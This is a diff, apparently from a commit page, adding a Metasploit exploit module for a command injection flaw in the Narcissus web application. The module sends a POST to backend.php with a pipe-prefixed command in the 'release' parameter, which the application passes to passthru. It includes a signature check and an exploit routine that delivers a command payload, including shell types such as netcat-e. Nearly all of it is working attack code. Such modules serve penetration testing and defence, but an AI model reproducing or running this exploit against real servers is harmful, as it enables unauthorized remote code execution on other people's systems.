|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "Narcissus Image Configuration Passthru Vulnerability", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a vulnerability found in Narcissus' image configuration |
| 20 | + function. This is due to the backend.php file not handling the $release parameter |
| 21 | + properly, and then passes it on to the configure_image() function. In this |
| 22 | + function, the $release parameter can be used to inject system commands for |
| 23 | + passthru (a PHP function that's meant to be used to run a bash script by the |
| 24 | + vulnerable application), which allows remote code execution under the context |
| 25 | + of the web server. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Dun', #Original |
| 31 | + 'sinn3r' #Metasploit |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'EDB', '22709' ], |
| 36 | + [ 'BID', '87410' ] |
| 37 | + ], |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'BadChars' => "\x00\x0d\x0a" |
| 41 | + }, |
| 42 | + 'Platform' => ['unix', 'linux'], |
| 43 | + 'Arch' => ARCH_CMD, |
| 44 | + 'Compat' => |
| 45 | + { |
| 46 | + 'PayloadType' => 'cmd', |
| 47 | + 'RequiredCmd' => 'generic perl ruby python bash netcat-e' |
| 48 | + }, |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + ['Narcissus', {}] |
| 52 | + ], |
| 53 | + 'Privileged' => false, |
| 54 | + 'DisclosureDate' => "Nov 14 2012", |
| 55 | + 'DefaultTarget' => 0)) |
| 56 | + |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/']) |
| 60 | + ], self.class) |
| 61 | + end |
| 62 | + |
| 63 | + def base |
| 64 | + uri = target_uri.path |
| 65 | + uri << '/' if uri[-1,1] != '/' |
| 66 | + return uri |
| 67 | + end |
| 68 | + |
| 69 | + def peer |
| 70 | + "#{rhost}:#{rport}" |
| 71 | + end |
| 72 | + |
| 73 | + def remote_exe(command) |
| 74 | + res = send_request_cgi({ |
| 75 | + 'uri' => "#{base}backend.php", |
| 76 | + 'method' => 'POST', |
| 77 | + 'encode_params' => false, |
| 78 | + 'vars_post' => { |
| 79 | + 'machine' => '0', |
| 80 | + 'action' => 'configure_image', |
| 81 | + 'release' => "|#{command}" |
| 82 | + } |
| 83 | + }) |
| 84 | + |
| 85 | + vprint_line(res.body) if res |
| 86 | + return res |
| 87 | + end |
| 88 | + |
| 89 | + def check |
| 90 | + sig = rand_text_alpha(rand(10) + 5) #The string to check |
| 91 | + |
| 92 | + print_status("#{peer} - Looking for signature '#{sig}'...") |
| 93 | + res = remote_exe("echo #{sig}") |
| 94 | + |
| 95 | + if res and res.body =~ /#{sig}/ |
| 96 | + print_status("#{peer} - Signature '#{sig}' found.") |
| 97 | + return Exploit::CheckCode::Vulnerable |
| 98 | + else |
| 99 | + print_status("#{peer} - Signature not found") |
| 100 | + return Exploit::CheckCode::Safe |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | + def exploit |
| 105 | + print_status("#{peer} - Sending malicious request...") |
| 106 | + remote_exe(payload.encoded) |
| 107 | + handler |
| 108 | + end |
| 109 | + |
| 110 | + |
| 111 | +end |
0 commit comments